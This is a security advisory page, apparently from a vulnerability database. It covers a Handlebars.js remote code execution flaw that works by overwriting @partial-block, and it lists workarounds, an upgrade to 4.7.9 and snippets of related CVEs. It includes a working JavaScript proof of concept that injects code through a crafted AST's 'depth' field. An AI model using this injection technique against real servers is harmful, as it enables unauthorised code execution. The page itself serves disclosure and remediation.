Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/handlebars-lang/handlebars.js).
CVSS VectorVendor: https://github.com/handlebars-lang/handlebars.js
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
4Blast Radius
ecosystem impact- 3 npm packages depend on handlebars (1 direct, 2 indirect)
Ecosystem-wide dependent count for version 4.0.0.
DescriptionCVE.org
Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field - breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-blockWorkarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
AnalysisAI
Remote code execution in Handlebars templating engine (npm package) allows unauthenticated attackers to execute arbitrary JavaScript on Node.js servers by exploiting the @partial-block mechanism when combined with vulnerable helper functions. The attack overwrites @partial-block with a malicious Handlebars AST that is dynamically compiled and executed during template rendering. A working proof-of-concept exists demonstrating exploitation via the commonly-used handlebars-helpers package. Vendor-released patch is available in Handlebars version 4.7.9.
Technical ContextAI
Handlebars is a popular JavaScript templating engine for Node.js applications (CPE: pkg:npm/handlebars). This vulnerability exploits CWE-94 (Improper Control of Generation of Code) through a design flaw in how the @partial-block special variable is stored in the mutable template data context. When helpers like 'merge' from handlebars-helpers accept arbitrary objects, they can overwrite @partial-block with an attacker-crafted Abstract Syntax Tree (AST). The invokePartial function subsequently receives this crafted object and, finding it is not a pre-compiled function, falls back to dynamically compiling the payload via env.compile(). This dynamic compilation path executes the injected AST as JavaScript code in the server process. The vulnerability requires the full Handlebars build with compilation capabilities; the runtime-only build lacks the compile() method and is not vulnerable.
RemediationAI
Upgrade Handlebars to version 4.7.9 or later, as released by the vendor at https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9. The patch is available via commit 68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2 at https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2. For environments where immediate patching is not feasible, use the runtime-only build via require('handlebars/runtime'), which eliminates the compile() method and the vulnerable dynamic compilation code path. Additionally, audit all registered helpers to ensure they treat context data as read-only and do not write arbitrary values to context objects. Remove or carefully vet third-party helper packages like handlebars-helpers in contexts where templates or context data may be influenced by untrusted input. Review application architecture to ensure user-controlled data does not flow into template context objects without sanitization.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same weakness CWE-94 – Code Injection
View allVendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-16849
GHSA-3mfm-83xf-c92r